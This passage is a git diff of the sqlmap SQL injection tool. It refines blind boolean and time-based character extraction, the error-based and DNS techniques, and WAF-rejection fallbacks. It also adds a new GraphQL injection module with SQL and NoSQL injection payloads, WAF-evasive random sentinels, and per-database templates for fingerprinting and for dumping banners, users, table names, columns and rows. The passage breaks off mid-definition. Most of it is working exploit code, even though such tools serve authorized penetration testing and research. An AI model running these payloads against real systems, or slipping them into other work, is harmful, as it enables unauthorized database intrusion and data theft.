warm from the + # first character); order 0 collapses to the classic single-context adaptive model. Retrieval + # is correct regardless of the weights (the tree spans the whole range plus an ESCAPE leaf), so + # the model - even raced under threads - only ever affects speed, never the returned value. + context = partialValue[-huffmanOrder:] if huffmanOrder > 0 else "" + weights = contextWeights(model, huffmanPrior, huffmanOrder, partialValue) + + heap = [] + for order, ordinal in enumerate(xrange(128)): + heapq.heappush(heap, (weights.get(ordinal, 0) + HUFFMAN_PRIOR_WEIGHTS.get(ordinal, 1), order, (ordinal,))) + heapq.heappush(heap, (max(weights.get(ESCAPE, 0), 1), 128, (ESCAPE,))) + + counter = 129 + while len(heap) > 1: + w1, _, n1 = heapq.heappop(heap) + w2, _, n2 = heapq.heappop(heap) + heapq.heappush(heap, (w1 + w2, counter, (n1, n2))) + counter += 1 + node = heap[0][2] + + def _concrete(n): + if len(n) == 1: + return [] if n[0] == ESCAPE else [n[0]] + return _concrete(n[0]) + _concrete(n[1]) + + def _hasEscape(n): + return n[0] == ESCAPE if len(n) == 1 else (_hasEscape(n[0]) or _hasEscape(n[1])) + + template = payload.replace("%s%s" % (INFERENCE_GREATER_CHAR, "%d"), " IN (%s)", 1) + + while len(node) == 2: + left, right = node + + if _hasEscape(left): + testNode, otherNode = right, left + elif _hasEscape(right): + testNode, otherNode = left, right + else: + leftLeaves, rightLeaves = _concrete(left), _concrete(right) + testNode, otherNode = (left, right) if len(leftLeaves) <= len(rightLeaves) else (right, left) + + testSet = _concrete(testNode) + setExpr = ','.join(str(_) for _ in testSet) + forgedPayload = safeStringFormat(template, (expressionUnescaped, idx, setExpr)) + result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) + incrementCounter(getTechnique()) + + # Guard against target-side length limits / WAFs that reject the (potentially long) + # "IN (...)" list: an HTTP error code that is not the technique's own true/false code means + # this membership query was rejected (e.g. 414 URI Too Long, 413, 400, 403), so the walk + # cannot be trusted. Abandon it and hand the character to the classic short-query ('>' / '=') + # bisection, which re-extracts and validates it; the escape counter in getChar() latches + # Huffman off (kb.disableHuffman) if the rejection keeps happening. Gated on >= 400 so a + # normal content-based (200/200) response never trips it. + if not timeBasedCompare and threadData.lastCode is not None and threadData.lastCode >= 400 and (getTechniqueData() is None or threadData.lastCode not in (getTechniqueData().falseCode, getTechniqueData().trueCode)): + return _HUFFMAN_FALLBACK + + node = testNode if result else otherNode + + value = node[0] + + if value == ESCAPE: + with kb.locks.prediction: + model.setdefault(context, {})[ESCAPE] = model.setdefault(context, {}).get(ESCAPE, 0) + 1 + return _HUFFMAN_FALLBACK + + if value == 0: + # ORD(MID(..)) of an empty (past end-of-string) character is 0; mirror the classic + # bisection and signal end-of-string (do NOT pollute the model with the sentinel). + return None + + # One-time safety validation: cross-check the first set-membership result with a short + # equality probe. Unlike the long IN() lists, a single '=N' comparison cannot be + # truncated/mangled by a parameter-length limit or a WAF, so it is a trustworthy oracle. + # If it disagrees, the IN() channel is unreliable here: latch the technique off so the + # classic '>' bisection takes over for the rest of the run (graceful fallback). + if not kb.huffmanValidated: + verifyPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, value)) + verified = Request.queryPage(verifyPayload, timeBasedCompare=timeBasedCompare, raise404=False) + incrementCounter(getTechnique()) + if verified: + kb.huffmanValidated = True + else: + kb.disableHuffman = True + return _HUFFMAN_FALLBACK + + with kb.locks.prediction: + model.setdefault(context, {})[value] = model.setdefault(context, {}).get(value, 0) + 1 + return decodeIntToUnicode(value) + + def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None, retried=None, restricted=False): """ continuousOrder means that distance between each two neighbour's numerical values is exactly 1 + + restricted means charTbl is a narrowed per-column observed range (time-based only): a character + landing outside it fails validateChar and is re-extracted over the full charset. """ + threadData = getCurrentThreadData() + result = tryHint(idx) if result: return result + # Huffman set-membership applies to boolean-based dumps and name enumeration. It stays off for + # time-based, where each membership step is timing-noisy and lacks per-character validation + # (measured to trade accuracy for little/no gain there); time-based relies on plain bisection + # plus low-cardinality whole-value guessing instead. + if (not conf.noHuffman and not kb.disableHuffman and (dump or kb.partRun in NAME_PREDICTION_CONTEXTS) and continuousOrder and charsetType is None and not timeBasedCompare + and ("%s%s" % (INFERENCE_GREATER_CHAR, "%d")) in payload + and ("'%s'" % CHAR_INFERENCE_MARK) not in payload): + kb.huffmanProbes = (kb.huffmanProbes or 0) + 1 + result = huffmanChar(idx) + if result is not _HUFFMAN_FALLBACK: + return result + # huffman declined this character (Unicode/escape, or failed the validation probe). + # If the set-membership channel keeps escaping it is not paying off here (trimmed/ + # blocked long payloads, or non-ASCII-heavy data) -> latch off so the classic '>' + # bisection takes over efficiently for the rest of the run. + kb.huffmanEscapes = (kb.huffmanEscapes or 0) + 1 + if kb.huffmanProbes >= HUFFMAN_PROBE_LIMIT and kb.huffmanEscapes * 2 >= kb.huffmanProbes: + kb.disableHuffman = True + if charTbl is None: charTbl = type(asciiTbl)(asciiTbl) @@ -283,6 +672,8 @@ def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, if "'%s'" % CHAR_INFERENCE_MARK in payload: for char in ('\n', '\r'): if ord(char) in charTbl: + if not isinstance(charTbl, list): + charTbl = list(charTbl) charTbl.remove(ord(char)) if not charTbl: @@ -350,7 +741,8 @@ def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, # e.g.: ... > '%c' -> ... > ORD(..) markingValue = "'%s'" % CHAR_INFERENCE_MARK unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(posValue)) - forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue) + forgedPayload = payload.replace(markingValue, unescapedCharValue) + forgedPayload = safeStringFormat(forgedPayload, (expressionUnescaped, idx)) falsePayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, NULL) if timeBasedCompare: @@ -404,7 +796,7 @@ def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, # list if expand and shiftTable: charTbl = xrange(maxChar + 1, (maxChar + 1) << shiftTable.pop()) - originalTbl = xrange(charTbl) + originalTbl = xrange(charTbl[0], charTbl[-1] + 1) maxChar = maxValue = charTbl[-1] minValue = charTbl[0] else: @@ -414,7 +806,11 @@ def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, retVal = minValue + 1 if retVal in originalTbl or (retVal == ord('\n') and CHAR_INFERENCE_MARK in payload): - if (timeBasedCompare or unexpectedCode) and not validateChar(idx, retVal): + if (timeBasedCompare or unexpectedCode) and kb.get("timeless") is None and not validateChar(idx, retVal): + if restricted: + # the character fell outside this column's observed range - re-extract + # over the full charset (not timing noise, so no delay increase / retry count) + return getChar(idx, asciiTbl, True, retried=retried) if not kb.originalTimeDelay: kb.originalTimeDelay = conf.timeSec @@ -460,13 +856,16 @@ def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, bit = 0 while len(candidates) > 1: bits = {} + maxCandidate = max(candidates) + maxBits = maxCandidate.bit_length() if maxCandidate > 0 else 1 + for candidate in candidates: - bit = 0 - while candidate: + for bit in xrange(maxBits): bits.setdefault(bit, 0) - bits[bit] += 1 if candidate & 1 else -1 - candidate >>= 1 - bit += 1 + if candidate & (1 << bit): + bits[bit] += 1 + else: + bits[bit] -= 1 choice = sorted(bits.items(), key=lambda _: abs(_[1]))[0][0] mask = 1 << choice @@ -488,13 +887,23 @@ def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, incrementCounter(getTechnique()) if result: - return decodeIntToUnicode(candidates[0]) + if candidates[0] == 0: # Trailing zeros + return None + else: + return decodeIntToUnicode(candidates[0]) + elif restricted: + # the self-validating '=' failed: the character is outside this column's observed set + # (or is end-of-string) - re-extract over the full charset, which validates the value + # and detects end-of-string correctly + return getChar(idx, asciiTbl, True, retried=retried) # Go multi-threading (--threads > 1) if numThreads > 1 and isinstance(length, int) and length > 1: threadData.shared.value = [None] * length threadData.shared.index = [firstChar] # As list for python nested function scoping threadData.shared.start = firstChar + threadData.shared.retrieved = 0 + threadData.shared.endIndex = 0 try: def blindThread(): @@ -509,7 +918,7 @@ def blindThread(): currentCharIndex = threadData.shared.index[0] if kb.threadContinue: - val = getChar(currentCharIndex, asciiTbl, not(charsetType is None and conf.charset)) + val = getChar(currentCharIndex, asciiTbl, not (charsetType is None and conf.charset)) if val is None: val = INFERENCE_UNKNOWN_CHAR else: @@ -520,7 +929,11 @@ def blindThread(): break with kb.locks.value: - threadData.shared.value[currentCharIndex - 1 - firstChar] = val + idx = currentCharIndex - 1 - firstChar + threadData.shared.value[idx] = val + threadData.shared.retrieved += 1 + if idx > threadData.shared.endIndex: + threadData.shared.endIndex = idx currentValue = list(threadData.shared.value) if kb.threadContinue: @@ -528,25 +941,18 @@ def blindThread(): progress.progress(threadData.shared.index[0]) elif conf.verbose >= 1: startCharIndex = 0 - endCharIndex = 0 - - for i in xrange(length): - if currentValue[i] is not None: - endCharIndex = max(endCharIndex, i) + endCharIndex = threadData.shared.endIndex output = '' if endCharIndex > conf.progressWidth: startCharIndex = endCharIndex - conf.progressWidth - count = threadData.shared.start + count = threadData.shared.start + threadData.shared.retrieved for i in xrange(startCharIndex, endCharIndex + 1): output += '_' if currentValue[i] is None else filterControlChars(currentValue[i] if len(currentValue[i]) == 1 else ' ', replacement=' ') - for i in xrange(length): - count += 1 if currentValue[i] is not None else 0 - if startCharIndex > 0: output = ".." + output[2:] @@ -597,11 +1003,11 @@ def blindThread(): # Common prediction feature (a.k.a. "good samaritan") # NOTE: to be used only when multi-threading is not set for # the moment - if conf.predictOutput and len(partialValue) > 0 and kb.partRun is not None: + if kb.partRun in NAME_PREDICTION_CONTEXTS and len(partialValue) > 0: val = None - commonValue, commonPattern, commonCharset, otherCharset = goGoodSamaritan(partialValue, asciiTbl) + commonValue, commonPattern, commonCharset, otherCharset = predictValue(partialValue, asciiTbl) - # If there is one single output in common-outputs, check + # If a single wordlist entry matches the prefix, confirm # it via equal against the query output if commonValue is not None: # One-shot query containing equals commonValue @@ -643,19 +1049,45 @@ def blindThread(): val = commonPattern[index - 1:] index += len(val) - 1 - # Otherwise if there is no commonValue (single match from - # txt/common-outputs.txt) and no commonPattern - # (common pattern) use the returned common charset only - # to retrieve the query output - if not val and commonCharset: - val = getChar(index, commonCharset, False) - - # If we had no luck with commonValue and common charset, - # use the returned other charset + # Char-by-char fallback. When Huffman is actually active it is driven over the full + # (continuous) charset: the corpus-Markov-seeded tree puts the single likeliest next + # character at its root (~1 request), subsuming the common/other charset split. When + # Huffman is unavailable (--no-huffman, latched off after repeated escapes, or TIME-BASED + # where getChar disables it) the classic reordered-charset bisection is used instead - so + # the predicted commonCharset ordering is not thrown away (time-based would otherwise pay + # full-charset bisection for every character). if not val: - val = getChar(index, otherCharset, otherCharset == asciiTbl) + if not conf.noHuffman and not kb.disableHuffman and not timeBasedCompare: + val = getChar(index, asciiTbl, True) + else: + if commonCharset: + val = getChar(index, commonCharset, False) + + if not val: + val = getChar(index, otherCharset, otherCharset == asciiTbl) else: - val = getChar(index, asciiTbl, not(charsetType is None and conf.charset)) + # Time-based dump: once a column's character set has proven closed (unchanged for + # DUMP_CHARSET_STABLE_ROWS consecutive rows), search only those + # observed ordinals via the bit-search (continuousOrder=False), whose final '=' equality + # self-validates the character (no separate validateChar). A narrow-charset column (hex, + # digits, dates, decimals) collapses from ~log2(full charset)+1 toward ~log2(set)+1 + # delayed requests/char. A character outside the observed set makes that '=' fail and is + # re-extracted over the full charset (see the restricted escalation in getChar). Time-based + # only: boolean has no per-character validation to catch such a miss (and uses Huffman). + restrictedTbl = None + if (dump and timeBasedCompare and columnKey is not None and charsetType is None and not conf.charset + and kb.dumpCharsetStable.get(columnKey, 0) >= DUMP_CHARSET_STABLE_ROWS): + with kb.locks.prediction: + observed = set(kb.dumpCharset.get(columnKey) or ()) # snapshot (value-parallel safe) + if observed and len(observed) <= 64: + # include the 0 end-of-string sentinel so end is detected in-band (the bit-search + # returns None on 0), avoiding a full-charset escalation at the end of every value + restrictedTbl = sorted(observed | set((0,))) + + if restrictedTbl is not None: + val = getChar(index, restrictedTbl, False, expand=False, restricted=True) + else: + val = getChar(index, asciiTbl, not (charsetType is None and conf.charset)) if val is None: finalValue = partialValue @@ -693,7 +1125,17 @@ def blindThread(): if finalValue is not None: finalValue = decodeDbmsHexValue(finalValue) if conf.hexConvert else finalValue - hashDBWrite(expression, finalValue) + if not (conf.firstChar or conf.lastChar): # Note: --first/--last give a range-limited (non-complete) output; caching it unmarked would let a later resume serve the truncated value as the full one + hashDBWrite(expression, finalValue) + + # Adaptive intra-run prediction: remember this extracted name for its enumeration context so + # later same-context items sharing structure (e.g. wp_posts / wp_users ...) are predicted faster. + # Fed ONLY single-threaded (not kb.multiThreadMode) so it never mutates the pool while a + # value-parallel worker is iterating it. Length-capped; a wrong prediction only costs a probe. + if (kb.partRun in NAME_PREDICTION_CONTEXTS and not kb.multiThreadMode and kb.commonOutputs is not None + and 0 < len(finalValue) <= PREDICTION_FEEDBACK_MAX_LENGTH + and len(kb.commonOutputs.get(kb.partRun) or ()) < PREDICTION_FEEDBACK_MAX_ITEMS): + kb.commonOutputs.setdefault(kb.partRun, set()).add(finalValue) elif partialValue: hashDBWrite(expression, "%s%s" % (PARTIAL_VALUE_MARKER if not conf.hexConvert else PARTIAL_HEX_VALUE_MARKER, partialValue)) @@ -716,6 +1158,42 @@ def blindThread(): _ = finalValue or partialValue + # Record this cell for the column's low-cardinality guessing cache (frequency-tracked so the most + # common values are probed first; bounded so a clearly high-cardinality column stops accumulating). + if columnKey is not None and finalValue: + # Track the column's low-cardinality cache and observed character set. Guarded by the prediction + # lock because value-parallel dump workers update these concurrently. + ordinals = set(ord(_c) for _c in finalValue if ord(_c) < 128) + with kb.locks.prediction: + seen = kb.lowCardCache.setdefault(columnKey, {}) + if finalValue in seen or len(seen) <= LOW_CARDINALITY_THRESHOLD + 2: + seen[finalValue] = seen.get(finalValue, 0) + 1 + + if ordinals: + existing = kb.dumpCharset.setdefault(columnKey, set()) + grew = not ordinals.issubset(existing) # did this row introduce a never-seen character? + existing.update(ordinals) + # Trust the observed alphabet as closed only after it stays unchanged for several consecutive + # rows. A column that keeps growing (monotonic PK, high-entropy text) resets the counter and + # never triggers the restricted search, so it is never charged the miss-then-escalate cost. + kb.dumpCharsetStable[columnKey] = 0 if grew else kb.dumpCharsetStable.get(columnKey, 0) + 1 + + # Oracle-reliability litmus: on bulk extraction (dumps / name enumeration) periodically fire a + # known-answer differential so an always-true / flaky / degraded channel that would otherwise dump + # SILENT garbage instead raises a one-time "results may be unreliable" warning. First value is always + # checked (catch it before a whole bad dump), then every ORACLE_LITMUS_CHECK_EVERY-th. + if (ORACLE_LITMUS_CHECK_EVERY and finalValue and not kb.reliabilityAlarm and not kb.bruteMode + and (columnKey is not None or kb.partRun in NAME_PREDICTION_CONTEXTS)): + with kb.locks.prediction: + kb.litmusCounter += 1 + due = (kb.litmusCounter == 1 or kb.litmusCounter % ORACLE_LITMUS_CHECK_EVERY == 0) + if due and not oracleReliabilityLitmus(expressionUnescaped, finalValue, timeBasedCompare): + kb.reliabilityAlarm = True + warnMsg = "the target's responses are inconsistent for known-true/known-false probes " + warnMsg += "(reads-everything-true, WAF, or a flaky/degraded channel); extracted data may " + warnMsg += "be unreliable. Consider raising '--time-sec', lowering '--threads', or retrying" + singleTimeWarnMessage(warnMsg) + return getCounter(getTechnique()), safecharencode(_) if kb.safeCharEncode else _ def queryOutputLength(expression, payload): @@ -734,7 +1212,7 @@ def queryOutputLength(expression, payload): debugMsg = "performed %d quer%s in %.2f seconds" % (count, 'y' if count == 1 else "ies", calculateDeltaSeconds(start)) logger.debug(debugMsg) - if length == " ": + if isinstance(length, six.string_types) and length.isspace(): length = 0 return length diff --git a/lib/techniques/dns/__init__.py b/lib/techniques/dns/__init__.py index 8476fab2f94..bcac841631b 100644 --- a/lib/techniques/dns/__init__.py +++ b/lib/techniques/dns/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/techniques/dns/test.py b/lib/techniques/dns/test.py index c0c16679a65..24ba334d5cc 100644 --- a/lib/techniques/dns/test.py +++ b/lib/techniques/dns/test.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/techniques/dns/use.py b/lib/techniques/dns/use.py index d2c474fdcc9..1f0d21f3190 100644 --- a/lib/techniques/dns/use.py +++ b/lib/techniques/dns/use.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -84,7 +84,10 @@ def dnsUse(payload, expression): _ = conf.dnsServer.pop(prefix, suffix) if _: - _ = extractRegexResult(r"%s\.(?P.+)\.%s" % (prefix, suffix), _, re.I) + # Note: non-greedy so a '--dns-domain' label that happens to match the random + # suffix can't make the match run past the real boundary (the boundary alphabet + # excludes hex characters, so it can never under-match into the hex payload) + _ = extractRegexResult(r"%s\.(?P.+?)\.%s" % (prefix, suffix), _, re.I) _ = decodeDbmsHexValue(_) output = (output or "") + _ offset += len(_) diff --git a/lib/techniques/error/__init__.py b/lib/techniques/error/__init__.py index 8476fab2f94..bcac841631b 100644 --- a/lib/techniques/error/__init__.py +++ b/lib/techniques/error/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/techniques/error/use.py b/lib/techniques/error/use.py index 343733dd26c..17511a0f4e7 100644 --- a/lib/techniques/error/use.py +++ b/lib/techniques/error/use.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -29,7 +29,6 @@ from lib.core.common import isListLike from lib.core.common import isNumPosStrValue from lib.core.common import listToStrValue -from lib.core.common import readInput from lib.core.common import unArrayizeValue from lib.core.common import wasLastResponseHTTPError from lib.core.compat import xrange @@ -51,7 +50,6 @@ from lib.core.settings import NULL from lib.core.settings import PARTIAL_VALUE_MARKER from lib.core.settings import ROTATING_CHARS -from lib.core.settings import SLOW_ORDER_COUNT_THRESHOLD from lib.core.settings import SQL_SCALAR_REGEX from lib.core.settings import TURN_OFF_RESUME_INFO_LIMIT from lib.core.threads import getCurrentThreadData @@ -257,7 +255,7 @@ def _errorFields(expression, expressionFields, expressionFieldsList, num=None, e elif output is not None and not (threadData.resumed and kb.suppressResumeInfo) and not (emptyFields and field in emptyFields): status = "[%s] [INFO] %s: '%s'" % (time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", output if kb.safeCharEncode else safecharencode(output)) - if len(status) > width: + if len(status) > width and not conf.noTruncate: status = "%s..." % status[:width - 3] dataToStdout("%s\n" % status) @@ -314,20 +312,22 @@ def errorUse(expression, dump=False): _, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(expression) - # Set kb.partRun in case the engine is called from the API - kb.partRun = getPartRun(alias=False) if conf.api else None + # Set kb.partRun in case the engine is called from the API or a JSON report is being collected + kb.partRun = getPartRun(alias=False) if (conf.api or conf.reportJson) else None # We have to check if the SQL query might return multiple entries # and in such case forge the SQL limiting the query output one # entry at a time # NOTE: we assume that only queries that get data from a table can # return multiple entries - if (dump and (conf.limitStart or conf.limitStop)) or (" FROM " in expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) and ("(CASE" not in expression.upper() or ("(CASE" in expression.upper() and "WHEN use" in expression))) and not re.search(SQL_SCALAR_REGEX, expression, re.I): + if not re.search(SQL_SCALAR_REGEX, expression, re.I) and ((dump and (conf.limitStart or conf.limitStop)) or (" FROM " in expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) and ("(CASE" not in expression.upper() or ("(CASE" in expression.upper() and "WHEN use" in expression)))): expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression, dump) if limitCond: - # Count the number of SQL query entries output - countedExpression = expression.replace(expressionFields, queries[Backend.getIdentifiedDbms()].count.query % ('*' if len(expressionFieldsList) > 1 else expressionFields), 1) + # Count the number of SQL query entries output. NOTE: always COUNT(*) (row count); a single + # field must NOT use COUNT(field) as that excludes NULLs and would drop NULL-valued rows from + # the dump (e.g. a column whose value is NULL on some rows). + countedExpression = expression.replace(expressionFields, queries[Backend.getIdentifiedDbms()].count.query % '*', 1) if " ORDER BY " in countedExpression.upper(): _ = countedExpression.upper().rindex(" ORDER BY ") @@ -355,7 +355,7 @@ def errorUse(expression, dump=False): stopLimit = 1 - elif (not count or int(count) == 0): + elif not isNumPosStrValue(count): if not count: warnMsg = "the SQL query provided does not " warnMsg += "return any output" @@ -365,13 +365,10 @@ def errorUse(expression, dump=False): return value if isNumPosStrValue(count) and int(count) > 1: - if " ORDER BY " in expression and (stopLimit - startLimit) > SLOW_ORDER_COUNT_THRESHOLD: - message = "due to huge table size do you want to remove " - message += "ORDER BY clause gaining speed over consistency? [y/N] " - - if readInput(message, default='N', boolean=True): - expression = expression[:expression.index(" ORDER BY ")] - + # NOTE: the ORDER BY clause is deliberately NOT stripped here. This path fetches each column + # of a row in a separate LIMIT/OFFSET query, so dropping ORDER BY would let the per-column + # offsets resolve to different physical rows and silently misalign cells across the row. Huge + # tables are handled cheaply and safely by keyset (seek) pagination (see plugins/generic/entries.py). numThreads = min(conf.threads, (stopLimit - startLimit)) threadData = getCurrentThreadData() diff --git a/lib/techniques/graphql/__init__.py b/lib/techniques/graphql/__init__.py new file mode 100644 index 00000000000..bcac841631b --- /dev/null +++ b/lib/techniques/graphql/__init__.py @@ -0,0 +1,8 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +pass diff --git a/lib/techniques/graphql/inject.py b/lib/techniques/graphql/inject.py new file mode 100644 index 00000000000..0ebe75bcd46 --- /dev/null +++ b/lib/techniques/graphql/inject.py @@ -0,0 +1,1378 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import difflib +import json +import re +import time + +from collections import namedtuple +from collections import OrderedDict + +from lib.core.common import beep +from lib.core.common import randomStr +from lib.core.convert import getUnicode +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import CUSTOM_LOGGING +from lib.core.enums import POST_HINT +from lib.core.settings import ERROR_PARSING_REGEXES +from lib.core.settings import GRAPHQL_ARG_WORDLIST +from lib.core.settings import GRAPHQL_ENDPOINT_PATHS +from lib.core.settings import GRAPHQL_ERROR_REGEX +from lib.core.settings import GRAPHQL_FIELD_WORDLIST +from lib.core.settings import GRAPHQL_INTROSPECTION_QUERY +from lib.core.settings import NOSQL_ERROR_REGEX +from lib.core.settings import UPPER_RATIO_BOUND +from lib.request.connect import Connect as Request +from lib.utils.xrange import xrange +from thirdparty.six import unichr as _unichr + +# Improbable literal used to build always-true/never-match payloads. Randomized per run (like +# NOSQL_SENTINEL) so it never becomes a static signature a WAF can pin a blocking rule on. +SENTINEL = randomStr(length=10, lowercase=True) + +# Maximum characters recovered for a single blind-inferred scalar (banner, user, table list, ...) +MAX_LENGTH = 1024 + +# Ceiling for a single row's concatenated cells (one row is extracted per request, so +# this need not hold a whole table; a GROUP_CONCAT of the whole table would be silently +# capped by the back-end - notably MySQL's group_concat_max_len=1024 - hence per-row). +DUMP_MAX_LENGTH = 8192 + +# Maximum number of rows dumped per table (bounds a runaway blind dump) +DUMP_MAX_ROWS = 1000 + +# Printable-ASCII codepoint bounds for blind character inference (the fast common path); +# a codepoint proven above CHAR_MAX is recovered over the full Unicode range instead of +# being silently mangled into a wrong printable char. +CHAR_MIN = 0x20 +CHAR_MAX = 0x7e +UNICODE_MAX = 0x10FFFF + +# Number of independent predicates packed into a single aliased GraphQL document (batched inference) +BATCH_SIZE = 40 + +# Cell separator woven into a per-row dump scalar (printable, improbable in data) +COL_SEP = "~~~" + +# GraphQL scalar types mapped to injection strategy (None = skip) +SCALAR_STRATEGY = { + "String": "string", + "ID": "id_dual", + "Int": "numeric", + "Float": "numeric", +} + +# SQL error-inducing payloads (probe for backend DBMS leakage through the GraphQL errors envelope) +_SQL_ERROR_PAYLOADS = ("'", "''", "'\"", "')", "1') OR ('1'='1") + +# Preliminary SQL boolean-blind probes +_SQL_BOOLEAN_TRUE = "' OR '1'='1" +_SQL_BOOLEAN_FALSE = "' AND '1'='2" + +# NoSQL operator probes (for NoSQL-backed GraphQL resolvers) +_NOSQL_NE = '{"$ne": null}' +_NOSQL_IN = '{"$in": ["%s"]}' % SENTINEL + +# Minimum content difference for a boolean oracle to be considered reliable +_MIN_RATIO_DIFF = 0.15 + +# Cache for INPUT_OBJECT field definitions, populated during schema walks +_inputFields = {} + + +# --- Backend SQL dialect table ---------------------------------------------- + +# Per-DBMS building blocks for blind inference and enumeration, driven by the boolean/time oracle +# established on a slot. `fingerprint` is a predicate true only on that back-end (it errors -> falsy +# elsewhere). `length`/`ordinal` render a scalar-extraction sub-expression. `delay` wraps a condition +# in an inline conditional sleep (None where the engine offers none, e.g. SQLite). `banner`/ +# `currentUser`/`currentDb` are generic enumeration scalars. Table and column NAMES are enumerated +# one at a time by ordinal position from a catalog source: `tableFrom`/`tableCol` and +# `columnFrom(table)`/`columnCol` give the FROM(+WHERE) and the name column, `paginate(col, offset)` +# adds the per-dialect single-row window. `row(columns, table, offset)` is one data row's cells +# joined by COL_SEP. Per-item enumeration avoids a GROUP_CONCAT/STRING_AGG scalar that the back-end +# would silently truncate (e.g. MySQL group_concat_max_len=1024). +Dialect = namedtuple("Dialect", ("fingerprint", "length", "ordinal", "delay", + "banner", "currentUser", "currentDb", + "tableFrom", "tableCol", "columnFrom", "columnCol", "paginate", "row")) + + +def _limitOffset(col, offset): + return "ORDER BY %s LIMIT 1 OFFSET %d" % (col, offset) + + +def _offsetFetch(col, offset): + return "ORDER BY %s OFFSET %d ROWS FETCH NEXT 1 ROWS ONLY" % (col, offset) + + +# A row is extracted one at a time by ordinal position (LIMIT/OFFSET). Concatenating +# the whole table into a single GROUP_CONCAT/STRING_AGG scalar would be silently +# truncated by the back-end (MySQL caps group_concat_max_len at 1024 bytes), dropping +# rows without warning; per-row extraction is unbounded and dialect-uniform. +def _sqliteRow(columns, table, offset): + body = ("||'%s'||" % COL_SEP).join("COALESCE(CAST(%s AS TEXT),'NULL')" % _ for _ in columns) + return "(SELECT %s FROM %s LIMIT 1 OFFSET %d)" % (body, table, offset) + + +def _mysqlRow(columns, table, offset): + body = "CONCAT_WS('%s',%s)" % (COL_SEP, ",".join("COALESCE(CAST(%s AS CHAR),'NULL')" % _ for _ in columns)) + return "(SELECT %s FROM %s LIMIT %d,1)" % (body, table, offset) + + +def _pgsqlRow(columns, table, offset): + body = ("||'%s'||" % COL_SEP).join("COALESCE(CAST(%s AS TEXT),'NULL')" % _ for _ in columns) + return "(SELECT %s FROM %s LIMIT 1 OFFSET %d)" % (body, table, offset) + + +def _mssqlRow(columns, table, offset): + body = ("+'%s'+" % COL_SEP).join("COALESCE(CAST(%s AS VARCHAR(MAX)),'NULL')" % _ for _ in columns) + return "(SELECT %s FROM %s ORDER BY (SELECT NULL) OFFSET %d ROWS FETCH NEXT 1 ROWS ONLY)" % (body, table, offset) + + +DIALECTS = OrderedDict(( + ("SQLite", Dialect( + fingerprint="SQLITE_VERSION() IS NOT NULL", + length=lambda expr: "LENGTH((%s))" % expr, + ordinal=lambda expr, pos: "UNICODE(SUBSTR((%s),%d,1))" % (expr, pos), + delay=None, + banner="SQLITE_VERSION()", + currentUser=None, + currentDb=None, + tableFrom="FROM sqlite_master WHERE type='table' AND name NOT LIKE 'sqlite_%'", + tableCol="name", + columnFrom=lambda table: "FROM pragma_table_info('%s')" % table, + columnCol="name", + paginate=_limitOffset, + row=_sqliteRow)), + ("Microsoft SQL Server", Dialect( + fingerprint="@@VERSION LIKE '%Microsoft%'", + length=lambda expr: "LEN((%s))" % expr, + ordinal=lambda expr, pos: "UNICODE(SUBSTRING((%s),%d,1))" % (expr, pos), # ASCII() truncates non-ASCII to a byte + delay=None, + banner="@@VERSION", + currentUser="SYSTEM_USER", + currentDb="DB_NAME()", + tableFrom="FROM sys.tables", + tableCol="name", + columnFrom=lambda table: "FROM sys.columns WHERE object_id=OBJECT_ID('%s')" % table, + columnCol="name", + paginate=_offsetFetch, + row=_mssqlRow)), + ("PostgreSQL", Dialect( + fingerprint="(SELECT version()) LIKE 'PostgreSQL%'", + length=lambda expr: "LENGTH((%s))" % expr, + ordinal=lambda expr, pos: "ASCII(SUBSTRING((%s),%d,1))" % (expr, pos), + delay=lambda cond, secs: "(CASE WHEN (%s) THEN 